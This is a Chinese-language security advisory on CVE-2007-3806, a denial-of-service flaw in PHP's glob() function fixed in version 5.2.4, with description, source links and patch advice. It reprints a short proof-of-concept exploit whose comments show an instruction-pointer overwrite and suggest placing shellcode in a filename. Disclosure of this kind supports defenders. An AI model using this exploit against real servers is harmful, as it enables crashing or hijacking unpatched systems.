安全研究

安全漏洞
PHP Glob()函数远程拒绝服务漏洞

发布日期:2007-07-16
更新日期:2007-09-03

受影响系统:
PHP PHP < 5.2.4
不受影响系统:
PHP PHP 5.2.4
描述:
BUGTRAQ  ID: 24922,25498
CVE(CAN) ID: CVE-2007-3806

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的glob函数实现上存在漏洞,远程攻击者可能利用此漏洞导致程序崩溃。

PHP中的glob函数参数值应为传送给[int $flags]的参数的整数值,因此如果提交了非整数值(如-1)的话, 就可能导致函数中出现无效读取操作,造成拒绝服务。

<*来源:shinnai (shinnai@autistici.org
  
  链接:http://secunia.com/advisories/26642/
        http://www.php.net/releases/5_2_4.php
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
//PHP 5.2.3 glob() Remote DoS Exploit
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp sp2, worked both from the cli (EIP overwrite) and on
apache (Denial of Service)

//Bug discovered with "Footzo" (thanks to rgod).

//To download Footzo:
//original link:
http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative:
http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar

//as you know, glob function expects an integer value passed to "[int
$flags] " parameter
//so when you give it something not integer (like -1) a funny thing
happens:
//I never seen something like that, EIP is overwrite with 4 bytes of
filename :D
//if you save aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb.php under C:\ and
launch it
//registers content will appear as follow:

//EAX 00C0F8EC
//ECX 00C0E9FC ASCII "C:\\aaaa"
//EDX 00C0EC1C
//EBX 00C0EC64 UNICODE "C:\\aaaa"
//ESP 00C0E9F0
//EBP 00000000
//ESI 00C0F8EC
//EDI 00C0EC74
//EIP 62626262

//any idea? put shellcode in filename :D

glob("a",-1);
?>

建议:
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php

浏览次数:2802
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障